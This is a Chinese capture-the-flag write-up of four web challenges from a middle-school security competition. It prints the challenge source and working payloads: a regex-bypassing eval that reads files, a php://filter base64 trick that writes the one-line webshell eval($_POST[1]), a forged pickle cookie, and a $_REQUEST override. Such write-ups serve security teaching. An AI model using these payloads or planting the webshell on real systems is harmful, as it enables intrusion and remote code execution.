[第四届全国中学生网络安全竞赛初赛] Web
跟着博客本地复现一下
参考:
+
babyphp
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$mss1 = $_POST['level1'];
$mss2 = $_POST['level2'];
$mss3 = $_POST['level3'];
if (intval($mss1) < 2021 && intval($mss1 + 2) > 2022) {
$mss4 = file_get_contents($mss2,'r');
if ($mss4 === "mssCTF is interesting!") {
if (!preg_match("/[0-9]|\`|\^|\\$|\*|\%|\~|\+|\{|\}|\'|\\\"|\,|\<|\>|\.|\/|\?/i", $mss3)) {
echo "Regex is so wonderful!";
echo "<br/>";
eval($mss3);
}
else {
echo "Success is near!";
echo "<br/>";
}
}
else {
echo "Do you like PHP?";
echo "<br/>";
}
}
else {
echo "Level1 is a babe trick,try again!";
echo "<br/>";
}
第一层利用php老版本解析特性 传科学计数法intval会直接将字符串解析为0 而+2会将字符串的科学计数法转为数字再做加法
第二层利用data伪协议+(base64)来传
第三次正则还剩下字母 下划线 括号
可以利用print_r+scandir(__ FILE __) 来扫
然后利用 array_rand来返回数字 结合readfile来随机读取
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组
也可以利用highlight_file/ show_source等
payload:
readfile(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);
easyinclude
正好复现一下在phith0n师傅那里看到的php://filter配合base64编码绕过死亡exit
题目源码:
<?php
error_reporting(0);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_POST['c'];
if(!isset($b)){
highlight_file(__FILE__);
}
function check_out($x){
str_replace("data","???",$x);
str_replace("zip","???",$x);
str_replace("zlib","???",$x);
str_replace("file","???",$x);
str_replace("rot13","???",$x);
}
if($array[++$a]=1){
if($array[]=1){
echo "Come on!";
}else{
echo "Good,you have already solve the first problem";
check_out($b);
file_put_contents($b,"<?php die('Victory is in sight');?>".$c);
}
}
?>
第一层绕过 利用php底层是C实现的特性
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807
取a=9223372036854775806即可绕过
下面就是经典的死亡exit绕过了
+ +
利用php://filter/write=xxx
结合base64将php代码结构破坏掉
我们先写一句话 然后base64编码:
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
前面的<?php die('Victory is in sight');?>
中base64识别的是
phpdieVictoryisinsight 22个字符 我们补两个a使他为4的倍数
构造c=phpdieVictoryisinsightaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
b传php://filter/write=convert.base64-decode/resource=1.php
发现1.php成功写入
�]��br�+�+"�Ƞ�֚<?php eval($_POST[1]);?>
蚁剑一把梭即可
fake_site
没有环境 只能跟着参考文章走一遍
源码找到登陆界面 尝试登陆发现no authorization
查看到cookie是自定义的 普通base64解码出现不可见字符
尝试发现是python pickle序列化
import base64
import pickle
cookie = "gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg=="
us = base64.b64decode(cookie.encode())
s = pickle.loads(us)
print(s)
修改传cookie 登陆成功
发现用户名被直接输出 测试发现存在SSTI fuzz一下waf 采用拼接 "" 等方法绕过即可
HS.com
题目源码:
<?php
error_reporting(0);
$fake_data = $_GET['innerspace'];
$data = $_REQUEST['innerspace'];
if ($_SERVER['REQUEST_METHOD'] === "HS") {
if (isset($data)) {
if ($data === "mssctf" && $data !== $fake_data) {
include_once "flag.php";
echo $flag;
} else {
echo "My house is pretty big.";
}
} else {
highlight_file("index.php");
}
}
else {
header('HTTP/1.1 405 Something Goes Wrong');
header('Allowed-Request-Method: HS');
}
首先要求我们Request-Method为HS 直接把GET头改掉即可
接下来就是经典的同变量覆盖
这里复习下$_REQUEST的覆盖
GET<-POST<-COOKIE<-ENV/SERVER
由于我们的请求头固定为HS 所以只能cookie传
HS /xxx?innerspace=xxx
xxx
xxx
Cookie: innerspace=msctf